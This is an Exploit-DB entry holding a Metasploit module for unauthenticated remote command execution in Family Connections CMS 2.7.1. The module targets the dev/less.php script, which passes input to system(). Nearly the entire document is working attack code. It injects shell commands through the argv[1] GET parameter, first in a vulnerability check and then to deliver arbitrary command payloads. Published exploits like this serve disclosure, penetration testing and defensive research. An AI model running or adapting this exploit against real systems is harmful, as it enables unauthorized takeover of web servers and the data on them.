Family Connections CMS 2.7.1 - 'less.php' Remote Command Execution (Metasploit)

EDB-ID:

18208




Platform:

PHP

Date:

2011-12-07


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'Family Connections less.php Remote Command Execution',
			'Description'    => %q{
				This module exploits an arbitrary command execution vulnerability in
				Family Connections 2.7.1. It's in the dev/less.php script and is due
				to an insecure use of system().  Authentication isn't required to exploit
				the vulnerability but register_globals must be set to On.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit
					'juan vazquez'  # Metasploit module
				],
			'References'     =>
				[
					[ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ],
					[ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ],
					[ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/18198/' ]
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Compat'     =>
					{
						'PayloadType'  => 'cmd',
						'RequiredCmd'  => 'generic telnet perl ruby',
					}
				},
			'Platform'       => ['unix', 'linux'],
			'Arch'           => ARCH_CMD,
			'Targets'        => [['Automatic',{}]],
			'DisclosureDate' => 'Nov 29 2011',
			'DefaultTarget'  => 0
		))

		register_options(
			[
				OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]),
			],self.class)
	end

	def check
		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

		mark = Rex::Text.rand_text_alpha(rand(5) + 5)

		res = send_request_cgi({
			'uri'       => uri,
			'vars_get'  => { 'argv[1]' => "|echo #{mark};#" }
		}, 25)

		if res and res.code == 200 and res.body =~ /#{mark}/
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

		start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
		end_mark  = Rex::Text.rand_text_alpha(rand(5) + 5)
		custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"

		res = send_request_cgi({
			'uri'       => uri,
			'vars_get'  => { 'argv[1]' => custom_payload }
		}, 25)

		if res and res.code == 200 and res.body =~ /#{start_mark}/
			# Prints output when using cmd/unix/generic
			result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]
			if not result.strip.empty?
				print_status("Result of the command:\n#{result}")
			end
		end
	end

end